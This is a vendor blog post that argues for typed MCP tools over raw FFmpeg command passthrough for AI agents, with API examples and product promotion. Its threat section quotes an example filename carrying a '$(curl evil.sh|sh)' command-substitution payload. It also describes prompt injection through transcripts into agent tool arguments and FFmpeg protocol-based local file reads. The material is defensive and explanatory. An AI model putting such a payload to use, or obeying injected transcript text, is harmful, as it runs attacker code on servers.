FFmpeg MCP server for your agent: typed tools or a raw command?

An FFmpeg MCP server should hand your agent typed tools, not a raw FFmpeg command string. Typed verbs limit the agent to jobs you defined; a passthrough lets it assemble a command out of text it read in a filename or a transcript, which is a shell-adjacent injection path.
If you're wiring video into Claude, Cursor, or your own agent loop, that choice decides whether the thing finishes a four-minute encode or opens a hole. What follows is where the untrusted text gets in, and what a tool has to return for an agent to finish on its own.
Untrusted text reaches your FFmpeg MCP server through the filename, the transcript, and the metadata
Three inputs in a video pipeline are attacker-controlled and nobody treats them that way. The filename, because the agent read it from a bucket listing or a user upload and will happily pass my video $(curl evil.sh|sh).mp4 along. The transcript, because a Whisper-generated SRT line becomes a drawtext or subtitles argument, and a quote character in spoken-word punctuation ends your filter string early. And the container metadata, because a title tag copied into an output filename carries whatever the uploader put there.
An agent makes this worse than a normal script does. A script's arguments come from you. An agent's arguments come from whatever it just read, and a prompt-injected instruction inside a transcript is indistinguishable from a legitimate caption request. The Model Context Protocol specification is explicit on the matching point for servers: hosts must get explicit user consent before invoking a tool, and tool descriptions from an untrusted server are themselves untrusted input (modelcontextprotocol.io).
Spawning with an argument array is necessary and not sufficient
The standard fix for a command-injection bug in an FFmpeg wrapper is to stop building a shell string and spawn the binary with an argument array instead, child_process.spawn('ffmpeg', [...args]) with no shell: true (issue thread on the mcp-ffmpeg repo). That advice exists because wrappers keep shipping without it. NVD published CVE-2026-117568 on October 27, 2026: mcp-ffmpeg through 1.0.5 builds its invocation as a child_process.exec string, so a crafted videoPath or outputDir containing $(), backticks or a closing double quote runs arbitrary commands as the MCP server user, reachable through its resize-video, extract-audio and get-video-info tools at CVSS 7.3 (NVD via Vulners). It isn't one project's slip: CVE-2026-78430, published August 24, 2026, is the same mistake in mcp-ffmpeg-helper 0.1.0 through 0.2.1, where the format argument reaches handleToolCall and injects (OpenCVE).
Here's the part the hardening write-ups stop short of. An argument array closes the shell, but FFmpeg's own protocol layer still resolves inside a perfectly quoted argument. concat:, subfile: and file: read files for you, and a crafted HLS playlist using them let remote attackers perform cross-origin reads and read arbitrary local files in CVE-2016-1897 and CVE-2016-1898 (CVE Details). So the control that actually holds is narrowing what the argument can be: pin the output format, whitelist the protocols, and refuse the options that compose arbitrary graphs. FFmpeg Micro refuses -filter_complex at the passthrough boundary for that reason, and the practical consequence is that you reach overlays and text through named options like @text-overlay instead of a filter graph the agent wrote.
A tool the agent can finish: job ID, pollable status, download URL, retryable error
Four returns decide whether an agent completes a video job without you watching. A job ID it can hold onto. A status it can poll. A download URL for the finished file. And an error string specific enough to decide between retrying and stopping.
Submitting a transcode returns the handle immediately:
{
"id": "abc123-job-uuid",
"status": "pending",
"output_format": "mp4",
"created_at": "2026-05-08T12:00:00Z"
}
Polling GET /v1/transcodes/:id gives the agent more than processing. It carries lane and queue_position, so the agent knows whether it's waiting on a queue or on an encode:
{
"success": true,
"jobId": "abc123-job-uuid",
"status": "completed",
"outputUrl": "gs://output-bucket/processed-video.mp4",
"lane": "short",
"queue_position": 1,
"started_at": "2026-05-08T12:00:12Z",
"completedAt": "2026-05-08T12:02:30Z"
}
Inputs longer than two minutes go to the long lane on its own server, so a long encode never delays a short one, and started_at minus created_at is an upper bound on the wait. Errors matter as much: 400 Bad Request: fileSize must be a number is a retry after fixing the type, 400 Unsupported input format is not retryable at all, and 401 Unauthorized means the key, not the job. An agent that can't tell those apart either gives up on a typo or loops on an impossible encode.
There are no completion webhooks for callers of FFmpeg Micro. A webhookUrl on a request is ignored. The agent submits, polls for status, and downloads. That used to read as a missing feature, and as of the 2026-07-28 specification it's the protocol-blessed shape: the MCP Tasks extension (io.modelcontextprotocol/tasks, per SEP-2663) lets a server return a durable handle with a taskId, a status and a suggested pollIntervalMs instead of blocking, driven by tasks/get, tasks/update and tasks/cancel until a terminal state (tasks.extensions.modelcontextprotocol.io).
The same caption burn, as a command and as a tool call
Burning captions is the job most agent video requests turn out to be, so it's the fair comparison. On your own machine with your own binary, it's two commands and a maintained FFmpeg:
ffmpeg -i input.mp4 -vn -ar 16000 audio.wav
whisper audio.wav --output_format srt
ffmpeg -i input.mp4 -vf "subtitles=audio.srt:force_style='FontSize=24'" \
-c:a copy output.mp4
Through the API, it's two jobs with the same submit-poll-download contract. POST /v1/transcribe with {"media_url": "gs://your-bucket/clip.mp4"} returns a job envelope identical in shape to a transcode, and GET /v1/transcribe/:id/download hands back a signed HTTPS URL for the SRT with a 10-minute TTL. That URL drops straight into the transcode:
{
"inputs": [{ "url": "gs://your-bucket/clip.mp4" }],
"outputFormat": "mp4",
"options": [
{ "option": "-vf", "argument": "subtitles='https://storage.googleapis.com/...srt'" },
{ "option": "-c:v", "argument": "libx264" },
{ "option": "-crf", "argument": "23" }
]
}
Over MCP, your agent reaches those same two jobs as tool calls against mcp.ffmpeg-micro.com and you never paste a key into a prompt: you add the server, restart Claude, Cursor, Windsurf or VS Code, and sign in. The MCP server page has the add command and the sign-in flow, and it works the same from Claude Code as from Claude Desktop. If you're still deciding between burned-in and sidecar captions before you automate either, that trade-off has its own post.
Five ways agent-driven video breaks, and what fixes each
Most of these show up in the first week, and each has a concrete fix rather than a judgment call.
- A tool call that blocks on the encode. A four-minute transcode outlives the tool-call timeout in every client. Return a job ID on submit and let the agent poll, or use a Tasks-style handle where the client supports it.
- Trusting tool annotations as a control. MCP's
readOnlyHint,destructiveHint,idempotentHintandopenWorldHintare hints, are not guaranteed to describe behavior faithfully, and clients should never make security-critical decisions based on them alone (modelcontextprotocol.io blog). Enforce at the server. - Letting the agent name the output file. An output path built from a title tag or a transcript line is the exact shape of CVE-2026-117568. Generate output names server-side and give the agent a download URL instead.
- Fearing the retry loop more than the bug. Metering answers this one. One token buys 10 seconds of input video, metered per second with no rounding up to the minute, and failed jobs are never billed, so an agent thrashing on a malformed request bills nothing. Status checks, job listing and downloads are free too.
- Assuming a local FFmpeg exists. It also inherits every CVE in the binary underneath, which the FFmpeg 9.1 security update just made concrete again.
A local skill is genuinely the better fit when the files never leave your machine, you want zero sign-up, and you already keep FFmpeg patched. Everywhere else, give the agent typed tools behind a hosted job contract: the verbs you chose, a handle it can poll, and errors it can act on. That's the one change worth making this week, and the free tier is enough to test it: 200 tokens at sign-up, about 33 minutes of video, no card. If you also want to know which encoders are actually compiled into whatever endpoint you pick, probe it rather than ask.
FAQ about running FFmpeg from an AI agent
Should my agent get typed tools or raw FFmpeg passthrough?
Typed tools. A raw passthrough lets the agent compose a command from text it read, and FFmpeg's concat: and subfile: protocols resolve even inside a correctly quoted argument, so the server has to pin the format and whitelist protocols regardless of how the process is spawned.
Is there a completion webhook an agent can use?
FFmpeg Micro has no completion callbacks for callers, and a webhookUrl on a request is ignored. The agent submits a job, polls GET /v1/transcodes/:id until the status is completed or failed, then requests a download URL.
Does my agent need an API key pasted into a prompt?
No. Adding the FFmpeg Micro MCP server at mcp.ffmpeg-micro.com uses a sign-in flow, so Claude, Cursor, Windsurf and VS Code drive video jobs without a key sitting in your conversation. The REST API uses Authorization: Bearer YOUR_API_KEY for code paths.
What stops an agent's retry loop from running up a bill?
Billing is on the duration of video processed, per second, and failed jobs are never billed. Trim 30 seconds out of a one-hour recording and you pay for 30 seconds. Status checks, listing jobs and downloads cost nothing.
How big an input file can an agent send?
The free tier caps input at 100 MB, Starter at 1,024 MB and Pro at 2,048 MB. Uploaded input links stay valid for 24 hours, so a job that sits in the queue still runs when a worker picks it up.
Your agent's first caption job costs 1 token per 10 seconds of input and nothing at all when it fails, which makes testing the poll loop in a real agent conversation close to free. Follow the walkthrough for your platform and get the submit, poll and download contract wired into Claude, Cursor, or n8n before you hand an agent its first video.
About Javid Jamae
Founder & CEO at FFmpeg Micro
Javid is a software engineer, author, and entrepreneur with over 25 years of professional software development experience across enterprise, startup, and consulting environments. He founded FFmpeg Micro to make video processing accessible to developers through a simple, automation-first REST API.
You might also like

8.1.3 isn't enough. The FFmpeg 9.1 security update is the fix
The ffmpeg 9.1 security update is the only listed fix for the Nov 24 CVE block, while the Nov 27 trio stops at 8.1.3. The version map and what's reachable.

The four jobs every agency video production workflow repeats
Every agency video production workflow repeats four mechanical jobs per client file: reframe, captions, logo, delivery encode. Run them as four API calls.

Which codecs does your FFmpeg API have? You can't ask, so probe
Ffmpeg api which codecs? Run a trivial probe job against the encoder you need, read the error string, and establish version, build flags, and removals first.
Ready to process videos at scale?
Start using FFmpeg Micro's simple API today. No infrastructure required.
Get Started Free